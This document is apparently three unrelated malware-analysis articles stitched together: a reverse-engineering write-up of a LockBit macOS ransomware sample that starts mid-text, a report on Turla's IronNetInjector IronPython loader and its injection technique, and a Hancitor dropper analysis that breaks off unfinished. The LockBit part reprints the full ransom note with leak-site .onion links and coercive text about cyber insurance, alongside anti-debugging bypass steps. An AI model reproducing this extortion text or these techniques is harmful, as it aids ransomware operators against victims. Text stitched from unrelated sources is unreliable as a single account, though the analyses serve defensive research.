(So function and method names are left intact ….yay!)


First, we pointed out that the locker_Apple_M1_64 is an arm64 binary (Mach-O 64-bit executable arm64).

The LockBit ransomware kinda comes for macOS


This means we better have at least a cursory understanding of AArch64.


If you’re not familiar with this instruction set, here’s two of my favorite resources to get you up to speed: Opening the malware in a disassembler, (starting at its main) we spot some (fairly common) anti-debugging logic: main ... 000000010000b108 bl imp___stubs__getppid 000000010000b10c mov x1, x0 000000010000b110 mov w0, #0x1f 000000010000b114 mov x2, #0x0 000000010000b118 mov w3, #0x0 000000010000b11c bl imp___stubs__ptrace 000000010000b120 cmn w0, #0x1 In short, this snippet of code invokes ptrace with PT_DENY_ATTACH (0x1f) which will kill the process if a debugger is currently attached, and also prevent future attachments.


As we’ll want to debug the malware to gain a deeper understanding of its functionality, we’ll have to bypass this.


Good news, this is trivial!


Just set a breakpoint on the address of the call to ptrace (b 0x000000010000b11c), and once this is hit, simply skip over the call by modifying the instruction pointer to point it to the next instruction (reg write $pc 0x000000010000b120).


Since the call to ptrace will now be skipped, we’re free to debug to our hearts content.


% lldb locker_Apple_M1_64 (lldb) target create "locker_Apple_M1_64" Current executable set to 'locker_Apple_M1_64' (arm64).


(lldb) b 0x10000b11c (lldb) r * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 locker_Apple_M1_64`main: -> 0x10000b11c


+72>: bl 0x1000429cc ; symbol stub for: ptrace (lldb) reg write $pc 0x10000b120


Next the malware copies a chunk of encrypted data (size: 0x2468 bytes) from a variable named apple_config to a variable named g_Config.


000000010000b128 adr x21, #0x10005908c ;g_Config 000000010000b12c nop 000000010000b130 adr x1, #0x100058008 ;apple_config 000000010000b134 nop 000000010000b138 mov x0, x21 000000010000b13c mov w2, #0x2468 000000010000b140 bl imp___stubs__memcpy


The apple_config variable is noteworthy as this is the only instance (I found) of any macOS specific references / customizations.


(The rest of the malware’s binary simple looks like Linux code, compiled for macOS).


Next, we find an XOR loop that decrypts this configuration.


000000010000b144 mov x8, #0x0 000000010000b148 mov w9, #0x2458 loc_10000b14c: 000000010000b14c and x10, x8, #0xf 000000010000b150 ldrb w10, [x21, x10] 000000010000b154 add x11, x21, x8 000000010000b158 ldrb w12, [x11, #0x10] 000000010000b15c eor w10, w12, w10 000000010000b160 strb w10, [x11, #0x10] 000000010000b164 add x8, x8, #0x1 000000010000b168 cmp x8, x9 000000010000b16c b.ne loc_10000b14c Once de-XOR’d we find a few strings as "!!!


-Restore-My-Files-!!!


", "VMware vCenter Server", and XP_SP;Win10.


Clearly, nothing relating to macOS specifically …in fact more indications this code is simply a recompile of (pieces of?)


LockBit’s ransomware that targets Windows/Linux, and also VMware ESXi.


The malware then initializes various global variables, either with hard-coded values, or from the decrypted configuration (now held in g_Config).


For example, here we see it set the bdaemon variable to 0x1, or ’true’ …even though its already set to that value.


_bdaemon: 0000000100059088 dd 0x00000001 ... 000000010000b174 adrp x9, #0x100059000 ... 000000010000b17c mov w8, #0x1 000000010000b180 nop 000000010000b184 str w8, [x9, #0x88] ; _bdaemon Here’s the list of global variables that are referenced …which based on their names, provide insight into the malware configuration options:


iMinfilesize iSpotMaximum bdaemon bSelfRemove publickey idelayinmin wholefile bfullog bnostop noext no_log bwipe bVMDKmode …also, by manually manipulating these values in a debugger (or as we’ll see via the command line) we can simplify analysis.


For example, setting bdaemon to false will prevent the binary from daemonizing (making it easier to debug), while setting bfullog to true to coerce the malware to log its actions!


The malware then de-XORs other strings, with the hard-coded key of 0x39 000000010000b260 ldr w8, =0x1964126200000039 Most of the strings are de-XOR’d in a function aptly named de_xor_all.


We could step through this and dump each string manually, or, as a hard-coded XOR key is used, simply de-XOR the entire binary and see what falls out: with open("locker_Apple_M1_64", "rb") as f_in, open("strings", "wb") as f_out: while True: chunk = f_in.read(1024) if not chunk: break encrypted_chunk = bytes(byte ^


0x39 for byte in chunk)


This produces strings including a commandline usage: Usage: %s


[OPTION]... -i


'/path/to/crypt' Recursively crypts files in a path or by extention.


Mandatory arguments to long options are mandatory for short options too.


-i, --indir path to crypt -m, --minfile minimal size of a crypted file, no less than 4096 -r, --remove self remove this file after work -l, --log prints the log to the console -n, --nolog do not print the log to the file /tmp/locker.log -d, --daemonize runs a program as Unix daemon -w, --wholefile encrypts whole file -b, --beginfile encrypts first N bytes -e, --extentions encrypts files by extentions -o, --nostop prevent to stop working VM -t, --wipe wipe free space -s, --spot upper bound limitation value of spot in Mb -p, --pass password -f, --full full log -a, --delay start delay in minutes -y, --noexts do not search for extentions -v, --vmdk search for extentions inside VMDK files Clearly these match to the global variables that apparently can be set via the command-line as well.


As we’ll set this makes analysis even easier!


Also the de-XOR’d strings, we find the full ransom note (here, truncated):


~~~ LockBit 3.0 the world's fastest and most stable ransomware from 2019~~~ >>>>>


Your data is stolen and encrypted.


If you don't pay the ransom, the data will be published on our TOR darknet sites.


Keep in mind that once your data appears on our leak site, it could be bought by your competitors at any second, so don't hesitate for a long time.


The sooner you pay the ransom, the sooner your company will be safe.


Tor Browser Links: http://lockbitapt2d73krlbewgv27tquljgxr33xbwwsp6rkyieto7u4ncead.onion http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt72iw55njgnqpymggskg5yp75ry7rirtdg4m7i42artsbqd.onion http://lockbitaptawjl6udhpd323uehekiyatj6ftcxmkwe5sezs4fqgpjpid.onion http://lockbitaptbdiajqtplcrigzgdjprwugkkut63nbvy2d5r4w2agyekqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion Links for normal browser: http://lockbitapt2d73krlbewgv27tquljgxr33xbwwsp6rkyieto7u4ncead.onion.ly http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly http://lockbitapt72iw55njgnqpymggskg5yp75ry7rirtdg4m7i42artsbqd.onion.ly http://lockbitaptawjl6udhpd323uehekiyatj6ftcxmkwe5sezs4fqgpjpid.onion.ly http://lockbitaptbdiajqtplcrigzgdjprwugkkut63nbvy2d5r4w2agyekqd.onion.ly http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly ... >>>>


Very important!


For those who have cyber insurance against ransomware attacks.


Insurance companies require you to keep your insurance information secret, this is to never pay the maximum amount specified in the contract or to pay nothing at all, disrupting negotiations.


The insurance company will try to derail negotiations in any way they can so that they can later argue that you will be denied coverage because your insurance does not cover the ransom amount.


For example your company is insured for 10 million dollars, while negotiating with your insurance agent about the ransom he will offer us the lowest possible amount, for example 100 thousand dollars, we will refuse the paltry amount and ask for example the amount of 15 million dollars, the insurance agent will never offer us the top threshold of your insurance of 10 million dollars.


He will do anything to derail negotiations and refuse to pay us out completely and leave you alone with your problem.


If you told us anonymously that your company was insured for $10 million and other important details regarding insurance coverage, we >>>>>


If you do not pay the ransom, we will attack your company again in the future.


Once the malware has de-XOR’d all its strings, it invokes a method named go.


This parses command-line options (updating global variables is relevant), and performs various other initializations, such as invoking a function named sodium_init (likely to initialize the commonly used Sodium crypto library).


Interestingly also, the malware invokes a function named get_password to read from stdin …it checks against the value of test 000000010000a618 bl imp___stubs__strcmp (lldb)


x/s $x0 0x16fdfeb10: "hunter2" (lldb) x/s $x1 0x10005a0d2: "test At this point, armed with an decent understanding of the malware (yah, its ransomware) plus understanding of commandline options (that also allow us to enable logging), coupled with the fact that it’s a Sunday (aka the day of rest, not reversing malware) I decided to switch to passive dynamic analysis.


Also, maybe you’re tired of reading arm64?


My goal was now trigger the malware to encrypt (ransom) files, while passively observing it in action.


On my dedicated analysis machine, I first created a directory for it to encrypt (~/Downloads/lock_me_up) which I filled with files to encrypt (for some reason, I thought it was be funny to put other malware samples in there for the ransomware to encrypt).


Then I kicked off a file monitor, filtering on the locker_Apple_M1_64 process: # FileMonitor.app/Contents/MacOS/FileMonitor -pretty -json -filter locker_Apple_M1_64 ...


Next, I ran the malware with the following command line: -f : full log -p pass : password -i ~/Downloads/lock_me_up : directory to encrypt / ransom First, the file monitoring detected the ransomware opening its log file (tmp/locklog).


We’ll take a peek at the log file’s contents shortly.


# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -json -filter locker_Apple_M1_64 ... { "event" : "ES_EVENT_TYPE_NOTIFY_OPEN", "file" : { "destination" : "/private/tmp/locklog", "process" : { ... "pid" : 8231 "name" : "locker_Apple_M1_64", "path" : "/Users/user/Downloads/locker_Apple_M1_64", ... } } } Then, accessing (opening) the files in the specified directory, to encrypt them, and renaming the encrypted files with the .lockbit extension: # FileMonitor.app/Contents/MacOS/FileMonitor -pretty -json -filter locker_Apple_M1_64 ... { "event" : "ES_EVENT_TYPE_NOTIFY_OPEN", "file" : { "destination" : "/Users/user/Downloads/lock_me_up/DazzleSpy.zip", "process" : { ... "pid" : 8231 "name" : "locker_Apple_M1_64", "path" : "/Users/user/Downloads/locker_Apple_M1_64", ... } } }, { "event" : "ES_EVENT_TYPE_NOTIFY_RENAME", "file" : { "destination" : "/Users/user/Downloads/lock_me_up/DazzleSpy.zip.lockbit", "process" : { ... "pid" : 8231 "name" : "locker_Apple_M1_64", "path" : "/Users/user/Downloads/locker_Apple_M1_64", ... } } } Finally, it creates a file named "!!!


which is ransom note with the decryption instructions: # FileMonitor.app/Contents/MacOS/FileMonitor -pretty -json -filter locker_Apple_M1_64 ... { "event" : "ES_EVENT_TYPE_NOTIFY_CREATE", "file" : { "destination" : "/Users/user/Downloads/lock_me_up/!!!-Restore-My-Files-!!!


", "process" : { ... "pid" : 8231 "name" : "locker_Apple_M1_64", "path" : "/Users/user/Downloads/locker_Apple_M1_64", ... } } } Ransomed files and ransom note Let’s take a peek at the log (/tmp/locker.log), which gives us details in the ransomware’s actions: [19:16:45][74073472l][+] Launch parameters: ./locker_Apple_M1_64


-i '/Users/user/Downloads/lock_me_up' -m 16 -w 0 -b 0 -r 0 -l 1 -n 0 -d 1 -e '' -s 10 -p test -o 0


-t 0 -f 1


-z


-y 0 ~~~~~~~~~~~~~~~Hardware~~~~~~~~~~~~~~~~~~ [19:32:07][4329948544][+] Add directory to encrypt: /Users/user/Downloads/lock_me_up


[19:32:07][6140964864][+] Start encrypting file /Users/user/Downloads/lock_me_up/DazzleSpy.zip


[19:32:07][6140964864][+] Start encrypting file /Users/user/Downloads/lock_me_up/DazzleSpy.zip spot 0 from 1.


Original checksum 2846984875 ...


[19:32:07][6140964864][+] End file /Users/user/Downloads/lock_me_up/DazzleSpy.zip size 223464 time 1672883981 is encrypted.


Checksum after encryption 3269819564 ...


At this point, we have a fairly comprehensive analysis of the malware, and have confirmed it is (as wholly expected) ransomware.


And, being able to trigger its ransomware logic is helpful to testing detection tools (discussed next).


Detection Of course its goes without saying, having your files ransomed sucks!


And good news, in this case the average macOS is unlikely to be impacted by this LockBit macOS sample.


Still the fact that a large ransomware gang has apparently set its sights on macOS, should give us pause for concern and also talk about preventing this (and future) samples in the first place.


First, Apple has been fairly proactive about mitigating ransomware attacks on macOS (and maybe this is why we’ve yet seen a major ransomware outbreak on macOS).


So, kudos to Cupertino.


Specifically Apple has implemented SIP (and now read-only volumes) to protect OS-level files.


This means even if ransomware finds its way onto a macOS system it won’t (easily) be able to mess with core OS files.


Apple has also added (TCC) protections to user files founds in (now) protected directories such as ~/Desktop, ~/Documents, etc. etc.


This means, that without an exploit or user-approval users files will remain protected.


Still an additional layer or detection/protection may be warranted, especially we’ve all probably clicked “Allow” on access prompts, while even Apple has been known to notarize malware.


If we stop to think specifically about ransomware, in theory, (at least in most cases) it should be trivial to detect.


Why?


Simply put, ransomware’s actions provide us with a powerful detection heuristic.


In April 2016 (yes, wayyyy back then!)


I posted a blog titled, “Towards Generic Ransomware Detection”.


In this post, I mused, “If we can monitor file I/O events and detect the rapid creation of encrypted files by untrusted processes, then ransomware may be generically detected” To back this up, I released a free (and now open-source) tool called “RansomWhere?” that implemented this heuristic-based approach.


Specifically it process file


I/O events and for newly created files asks: Is the process creating file untrusted (e.g. not an Apple platform binary)?


Is created file encrypted?


Is the (untrusted) process rapidly creating several encrypted files?


If these are all true, “RansomWhere?” will suspend process as its likely ransomware and alert the user and handle the response (resume/terminate).


As with any detection approach and security tool, there are limitations.


I've been clear to articulate these in "RansomWhere?"'s tool page: RansomWhere?'s Limitations Most notably, “RansomWhere?” is slightly reactive, meaning several files maybe be encrypted (and thus ransomed) before the tool detects and blocks the ransomware.


And though “RansomWhere?” is a bit dated, it appears to be able to generically detect this LockBit sample …even though it had no a priori knowledge of this malware: RansomWhere?


...doing it's thing!


Conclusion Today we dove into a macOS ransomware sample created by the infamous LockBit ransomware gang.


And while this may be the first time a large ransomware group created ransomware capable of running on macOS, it worth nothing that this sample is far from ready for prime time.


From it’s lack of a valid code-signing signature to its ignorance of TCC and other macOS file-system protections as it stands it poses no threat to macOS users.


Moreover, the variant is rather buggy …containing flaws such as buffer overflows that will cause it to prematurely exit, when run on macOS: The likely explanation to all this, is that the specimen we looked at today is test (or beta): “Cisco Talos researcher Azim Khodjibaev told BleepingComputer that based on their research, the encryptors were meant as a test and were never intended for deployment in live cyberattacks.”


…still, as we stated earlier, the fact that a large ransomware gang (LockBit) has apparently set its sights on macOS, should give us all pause for concern.


And, if nothing else, make sure we’re adequately prepared for future attacks that likely will be more polished and thus pose a greater risk.


Interested in Mac Malware Analysis Techniques?


This post is also available in: 日本語 (Japanese)Executive Summary In recent years, more and more ready-made malware is released on software development hosting sites available for everybody to use – including threat actors.

IronNetInjector Turlas New Malware Loading Tool


This not only saves the bad guys development time, but also makes it much easier for them to find new ideas to prevent detection of their malware.


Unit 42 researchers have found several malicious IronPython scripts whose purpose is to load and run Turla’s malware tools on a victim’s system.


The use of IronPython for malicious purposes isn’t new, but the way Turla uses it is new.


The overall method is known as Bring Your Own Interpreter (BYOI).


It describes the use of an interpreter, not present on a system by default, to run malicious code of an interpreted programming or scripting language.


The first malicious IronPython scripts of the tool we describe here were discovered last year by a security researcher from FireEye.


At the beginning of this year, another security researcher from Dragos pointed out some new scripts of the same threat actor uploaded to VirusTotal from two different submitters.


We found that one of the submitters also uploaded two other samples, which are most likely embedded payloads of one of the IronPython scripts.


These samples helped us to understand how this tool works, what malware it loads and which threat actor uses it.


While the IronPython scripts are only the first part of the tool, the main task of loading malware is done by an embedded process injector.


We dubbed this toolchain IronNetInjector, the blend of IronPython and the injector’s internal project name NetInjector.


In this blog, we describe the IronPython scripts and how they’re used to load one or more payloads with the help of an injector.


Palo Alto Networks customers are protected from this threat through WildFire and Cortex XDR.


AutoFocus customers can investigate this activity with the tag “IronNetInjector”.


What Is IronPython?


First, let’s take a look at what IronPython is and why it was chosen as a loading vector.


In the words of the IronPython team: IronPython is an open-source implementation of the Python programming language which is tightly integrated with the .NET Framework.


IronPython can use the .NET Framework and Python libraries, and other


.NET languages can use Python code just as easily.


And further: IronPython’s sweet-spot is being able to use the .NET framework APIs directly from Python.


With IronPython, you can use .NET framework APIs directly in your Python script.


It is a Python interpreter written entirely in C#.


Currently, it fully supports Python 2, while support for Python 3 is still in development.


As one of two official projects formerly developed by Microsoft, the other being IronRuby, it uses the Dynamic Language Runtime (DLR).


Now, it becomes clear why IronPython is also attractive for malware authors.


You can make use of the .NET framework APIs without having to compile a .NET assembly.


Of course, this requires the IronPython interpreter to also be present on the system, but that can be accomplished in different ways.


Also, IronPython scripts don’t run with the original Python interpreter when .NET framework APIs are used in the code.


In case of a sandbox that supports Python scripts, the interpreter would simply crash without any dynamic analysis result.


Further, as IronPython is written in C# and thus its process contains all the Common Language Runtime (CLR) on execution, one can easily load additional assemblies.


IronNetInjector IronNetInjector is made of an IronPython script that contains a .NET injector and one or more payloads.


The payloads can be also .NET assemblies (x86/64) or native PEs (x86/64).


When an IronPython script is run, the .NET injector gets loaded, which in turn injects the payload(s) into its own or a remote process.


The key features of the malicious IronPython scripts are as follows: Function and variable names are obfuscated.


Strings are encrypted.


Contain an encrypted .NET injector and one or more encrypted PE payloads.


Take one argument that is the decryption key for the embedded .NET injector and PE payload(s).


Embedded .NET injector and payload(s) are encoded with Base64 and encrypted with Rijndael.


Log messages are written to %PUBLIC%\Metadata.dat Error messages are written to %PUBLIC%\Metaclass.dat


The following screenshot shows one of the IronPython scripts decoded: Figure 1.


Decoded IronPython script with embedded .NET injector and ComRAT payload (both shortened).We have found two versions of the .NET injector, a newer variant internally named NetInjector compiled in 2019 and an earlier variant named PeInjector_x64 compiled in 2018.


The earlier variant is much more limited in functionality compared to the 2019 variant.


Both versions are full-blown PE injection tools able to load a native x86/64 payload reflectively into a remote process.


This is accomplished via unmanaged functions and the use of PeNet, a publicly available PE parser library written in C#.


The decompiled code is self-explanatory as meaningful function, method and variable names are used throughout the code.


Additionally, log and error messages are being used extensively.


The 2018 variant is used within PowerShell scripts to load a payload from the same script into a process.


Most of its code is taken from PowerShell Empire’s ReflectivePEInjection script and got translated into C#.


It’s written in a much more specific manner than the 2019 variant, which is a generically written injection tool.


The newer version additionally contains the ability to inject .NET assemblies into unmanaged processes.


Also, it can load payloads into its own process space, the IronPython interpreter process.


The newer injector has the following PDB path left: C:\Users\Devel\source\repos\c4\agent\build_tools\agent_dll_to_Python_loader\NetInjector\NetInjector\obj\Release\NetInjector.pdb The same submitters who uploaded the IronPython scripts also submitted other files which are directly related to IronNetInjector.


Based on the file sizes and the file sizes of the embedded payloads in the IronPython scripts, we can make some assumptions about what the payloads likely are.


The following table shows the IronPython scripts categorized by the different VirusTotal submitters.


It also shows which other samples uploaded by the same submitter or the other submitters are connected and gives the assumed embedded malware: Submitter IronPython script(s) uploads Related samples uploaded by same submitter Payload assumptions 1 • prophile.py • profilec.py • IronPython-2.7.7z: Portable IronPython version that contains the two IronPython scripts and a Windows task XML to start profilec.py • prophile.py: .NET injector (variant 2018)


+ RPC backdoor variant • profilec.py: .NET injector (variant 2019)


ComRAT variant 2 • profile.py – • profile.py: .NET injector (variant 2019)


ComRAT variant 3 • 10profilec.py • 120profilec.py • 220profile.py – • 10profilec.py: .NET injector (variant 2018)


ComRAT variant • 120profilec.py: .NET injector (variant 2019)


ComRAT variant • 220profile.py: .NET injector (variant 2018)


Unknown 4 • profilec.py • NetInjector.dll: .NET injector (variant 2019), most likely embedded .NET


injector in profilec.py of same submitter • payload.exe: ComRAT v4 variant (DLL), most likely embedded in profilec.py of same submitter – 5 – • part_1.data: .NET injector (variant 2018), most likely embedded in prophile.py of submitter 1 • part_2.data: RPC backdoor variant, most likely embedded in prophile.py of submitter 1 • part_3.data: RPC backdoor variant, most likely embedded in prophile.py of submitter 1 – Table 1.


Categorized IronPython samples according to VirusTotal submitters and their assumed payloads.


It becomes clear that IronNetInjector is mostly used to load ComRAT.


In one case, a variant of the RPC backdoor is used and in another a payload that we couldn’t associate with known malware.


We also couldn’t verify how the IronPython scripts get run in the first place.


One of the submitters uploaded a 7-Zip archive with the contents of the IronPython MSI file of version 2.7.0.40 from 2011.


This archive also contains two IronPython scripts (see table) and a Windows task XML file named mssch.xml with the following content: Figure 2.


Windows task XML file for IronNetInjector.


The task is used to start an IronPython script with the 64-bit version of the interpreter.


As a command line argument, the Rijndael decryption key is passed.


However, the key didn’t decrypt on any of the embedded files in the scripts we found.


The task’s description is PythonUpdateSrvc and it runs either on Windows startup when a user logs in or when one of two system events get created: Figure 3.


IronNetInjector task triggers.


Depending on the system, the event with ID 8001 belongs to Microsoft Internet Information Services (IIS), Microsoft Exchange Server or Windows Server (Source: Netsurion EventTracker).


The other event with ID 5324 is likely related to the logoff from Winlogon.


Both triggers only happen when these events appear in the Microsoft-Windows-GroupPolicy(/Operational) event logs.


When we consider that the files in the 7-Zip archive were all taken from the same directory, we can make some assumptions.


The attacker might have used the IronPython MSI to install the interpreter to C:\ProgramData\IronPython-2.7 on the victim’s system.


The IronPython scripts and the Windows task XML were placed in the same directory.


The task file is then used to create a task which in turn starts a script when triggered.


However, it’s also possible that the submitter collected the files from different places and just bundled them into an archive for scanning purposes.


It’s also unclear why the attacker would use such an old version of IronPython.


A Brief Walkthrough Let’s go briefly through the execution flow based on one of the scripts of VirusTotal submitter 4 that contains the 2019 variant of the injector and a ComRAT variant (SHA256: 3aa37559ef282ee3ee67c4a61ce4786e38d5bbe19bdcbeae0ef504d79be752b6).


When an IronPython script is run, it is loaded into the IronPython interpreter.


In the IronPython script, the embedded .NET injector (SHA256: a56f69726a237455bac4c9ac7a20398ba1f50d2895e5b0a8ac7f1cdb288c32cc) and ComRAT DLL payload (SHA256: a62e1a866bc248398b6abe48fdb44f482f91d19ccd52d9447cda9bc074617d56) get decoded and decrypted.


This is done with the Python Base64 module and the RijndaelManaged class from the C# cryptography namespace.


The decryption key is passed as an argument to the IronPython script.


The Rijndael initialization vector (IV) is stored in the script.


Next, the .NET injector gets loaded into the IronPython process with the help of the Assembly.


Load() method of the C# Reflection namespace.


That’s possible because IronPython itself is a .NET assembly and thus its process already contains all the .NET runtime libraries.


After the injector assembly is loaded, the ID of the process where the ComRAT DLL gets injected is retrieved.


In this case, the explorer.exe was chosen.


This routine to get the PID slightly differs in the IronPython scripts we found.


While one script uses the C# method GetProcessesByName() to get the PID, the other scripts run the Windows tool tasklist.exe with the help of the Python os.popen() function.


The output is then parsed to the targeted process ID with the help of tasklist filters.


Also, some scripts filter the PID based on a Windows service name.


When the PID is found, an instance of the injector assembly is created and the ComRAT payload bytes and PID are passed.


PID retrieval function variations in the different IronPython scripts.


Finally, the injector’s public methods Invoke() and InvokeVoid() get called.


In the latter, the exported function name VFEP of the ComRAT payload gets passed.


From this point on, the .NET injector takes control over the further execution.


The .NET injector contains the following namespaces: DefaultSerializer PeNet PeNet.


Parser PeNet.


Structures PeNet.


Structures.


MetaDataTables PeNet.


MetaDataTables.


Parsers PeNet.


Utilities While the PeNet code is copied from the project, the namespace DefaultSerializer contains the injector code and is made of the following classes: DefaultSerializer: Contains the injector code.


NetBootstrapper:


Contains 32-/64-bit bootstrappers to load an assembly into an unmanaged process.


Contains the imported unmanaged function declarations and win32 structures/constants.


The DefaultSerializer class exposes four public methods: InjectAssembly Invoke InvokeAssemblyMethod InvokeVoid These methods are used pairwise.


The method InjectAssembly is used to inject a .NET assembly into a native process (or its own) and InvokeAssemblyMethod to call any chosen method of the injected assembly.


The method Invoke is used to inject a native PE into a remote process and InvokeVoid to call any exported function of the injected payload.


Decompiled NetInjector code.


Depending on the number of arguments passed to DefaultSerializer on creation time, the payload is either loaded into its own process or a remote one.


In case only the payload bytes are passed, it gets loaded into its own process space.


The other options are to also pass the ID or handle of the remote process the payload gets injected to.


In our case, the second option is used with the PID of explorer.exe to load the ComRAT payload reflectively into the process.


One other interesting aspect of the injector is its ability to load an assembly into an unmanaged process.


This needs some preparation in the remote process, as you cannot simply load and execute a .NET assembly there if the CLR isn’t present.


This is accomplished with a native bootstrapper DLL, which gets injected into the remote process and prepares it so a .NET assembly can be injected afterwards.


There are two bootstrappers (x86/64) contained in the NetBootstrapper class, which have the following PDB paths left: F:\Dev\NetInjector\bin\Release\NetBootstrapper_Win32.pdb F:\Dev\NetInjector\bin\Release\NetBootstrapper_x64.pdb Just like the injector itself, the bootstrappers contain meaningful function names (exported functions) and useful log messages.


It uses the following exported functions:


Bootstrap: Load CLR services into process.


GetMethodResult:


Get method result from InvokeMethod.


InvokeMethod: Call method of injected assembly passed as a parameter.


LoadAssembly: Load .NET assembly passed as a parameter.


StartClrRuntime:


Same as Bootstrap.


These functions are called from the injector to prepare and load a .NET assembly payload from the IronPython script into a remote process.


In all the IronPython scripts we found, only the native payload to native remote process injection option is used.


Conclusion IronNetInjector is another toolset in Turla’s ever-growing arsenal, made of an IronPython script and an injector.


It’s similar in structure to the previously used in-memory loading mechanism to execute malware with the help of PowerShell scripts.


These scripts contain an embedded PE loader to execute an embedded malware payload.


The tool we discussed in this blogpost was likely developed to move away from PowerShell towards .NET.


This general trend can be seen in recent years as detection of Powershell based threats became better, but also due to security mechanisms like AMSI introduced by Microsoft.


The .NET injectors and bootstrappers contain clean code and meaningful function/method/variable names, and they use detailed log/error messages.


Only the initial IronPython scripts are obfuscated to prevent easy detection.


There are still some questions we need answers for, such as what other samples get loaded beside ComRAT and the RPC backdoor?


How do the IronPython scripts get run?


And how is the interpreter deployed to a victim’s system?


We will continue to monitor for this malware loading tool to get the missing pieces of the puzzle.


Palo Alto Networks customers are protected from this malware tool.


Our threat prevention platform WildFire detects it as malicious.


Our extended detection and response platform Cortex XDR can identify and block the malware execution.


AutoFocus customers can track the activity with the tag “IronNetInjector”.


Indicators of Compromise IronPython scripts b641687696b66e6e820618acc4765162298ba3e9106df4ef44b2218086ce8040 (prophile.py, submitter 1) c430ebab4bf827303bc4ad95d40eecc7988bdc17cc139c8f88466bc536755d4e (profilec.py, submitter 1) c1b8ecce81cf4ff45d9032dc554efdc7a1ab776a2d24fdb34d1ffce15ef61aad (profile.py, submitter 2) 8df0c705da0eab20ba977b608f5a19536e53e89b14e4a7863b7fd534bd75fd72 (10profilec.py, submitter 3) b5b4d06e1668d11114b99dbd267cde784d33a3f546993d09ede8b9394d90ebb3 (120profilec.py, submitter 3) b095fd3bd3ed8be178dafe47fc00c5821ea31d3f67d658910610a06a1252f47d (220profile.py, submitter 3) 3aa37559ef282ee3ee67c4a61ce4786e38d5bbe19bdcbeae0ef504d79be752b6 (profilec.py, submitter 4) Injector samples a56f69726a237455bac4c9ac7a20398ba1f50d2895e5b0a8ac7f1cdb288c32cc (2019 variant, submitter 4) c59fadeb8f58bbdbd73d9a2ac0d889d1a0a06295f1b914c0bd5617cfb1a08ce9 (2018 variant, submitter 5) Bootstrapper samples 63d7695dabefb97aa30cbe522647c95395b44321e1a3b08b8028e4000d1be15e ba17af72a9d90822eed447b8526fb68963f0cde78df07c16902dc5a0c44536c4 Related samples 82333533f7f7cb4123bceee76358b36d4110e03c2219b80dced5a4d63424cc93 (IronPython-2.7.7z, submitter 1) a62e1a866bc248398b6abe48fdb44f482f91d19ccd52d9447cda9bc074617d56 (ComRAT v4 variant, submitter 4) 18c173433daafcc3aea17fc4f7792d0ff235f4075a00feda88aa1c9f8f6e1746 (RPC backdoor variant, submitter 5) a64e79a81b5089084ff88e3f4130e9d5fa75e732a1d310a1ae8de767cbbab061 (RPC backdoor variant, submitter 5) Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us


In this article, we describe how Hancitor compromises systems based on its infection chain observed in January and February 2021.

Hancitor Infection Chain Analysis An Examination of its Unpacking Routine and Execution Techniques


We cover its unpacking routine, information gathering and command and control (C2) functions, and payload execution techniques.


The malware Hancitor Hancitor (aka Chanitor) is a downloader which is used to gain initial access to a victim’s computer.


Its main purpose is to download and execute a second stage malware payload from one of multiple encrypted URLs contained in the malware itself.


This downloader was first seen in 2014 commonly deploying Pony and Vawtrak malware.


Like many other malware families we saw Hancitor become active again in early 2021 following the festive period.


The first Hancitor malicious spam wave of 2021 started on 12 January, where the malware was distributed as email Word document attachments.


Since then, almost every workday we have seen Hancitor activity.


Word Dropper used by Hancitor On Tuesday 12 January, phishing emails with hyperlinks leading to Word documents reached users’ inboxes.


The Word documents were droppers that install and execute the Hancitor downloader.


When opened, the user sees a social engineering image telling them that they must click the “Enable editing” button to see the document’s contents.


Figure 1 – Word document lure requesting the user to run the VBA macro.


Analyzing the attachment using oledump shows that not only VBA macros but also an Object Linking and Embedding (OLE) object are embedded in the document.


To find out how the OLE object is used and how the malware infection happens, we analyzed the VBA macros using Word’s developer tools. Figure 2 – Output from oledump showing the VBA macro in the Word document.


The VBA code is distributed over several different modules inside the document and is executed by the Document.


Open event.


The OLE object is then saved with a “.tmp” file extension into one of the local temp folders under “C:\Users\[username]\AppData\Local\Temp”.


As the VBA code does not know where the file was stored, it then recursively searches through all local temp folders.


Figure 3 – VBA macro which moves the tmp file to the templates folder as a DLL.


Once the “.tmp” file is found, it is moved and renamed to the Office templates folder (C:\Users\username\AppData\Roaming\Microsoft\Templates) as “W0rd.dll” and loaded using rundll32.exe.


As a second argument, the macro passes the entry function “DllUnregisterServer” to rundll32.exe so that the execution starts correctly.


Figure 4 – VBA macro which runs rundll32.exe to load the malware.


Packed DLL analysis Briefly looking at the DLL characteristics shows that there are two unknown sections, which could be an indicator of packing being used to obfuscate the malware.


Opening the DLL in a debugger and running through the program, focusing on what is happening with the suspicious sections confirms that there is indeed some sort of unpacking happening.


Figure 5 – Sections of the PE file (“W0rd.dll”).


Although the unpacking procedure happens in multiple steps, it can be described in two broad stages: Decryption Stage 1 First, the malware allocates new memory which is used to copy the data from section “.rdata4” into it.


The data, however, is not copied identically from the section to the new memory region because the bytes containing 0x21 are omitted.


As soon as the copy operation is finished, the decryption process starts.


The first four bytes at the beginning of the newly allocated memory indicate the length of the data that will be decrypted.


The algorithm to decrypt the data is simple.


It uses an XOR operation with the key and plaintext being incremented after each four-byte operation.


To start, the key is initialized with 0xD508.


A replication of this algorithm, written in Python, can be found in our GitHub repository.


Figure 6 – Data view of the section containing the encrypted malware.


Looking at the decrypted data and the behavior of the program, we can see that there are multiple areas containing different types of information.


The names of Windows API functions are stored in the first 150 bytes.


The area after this contains encrypted data.


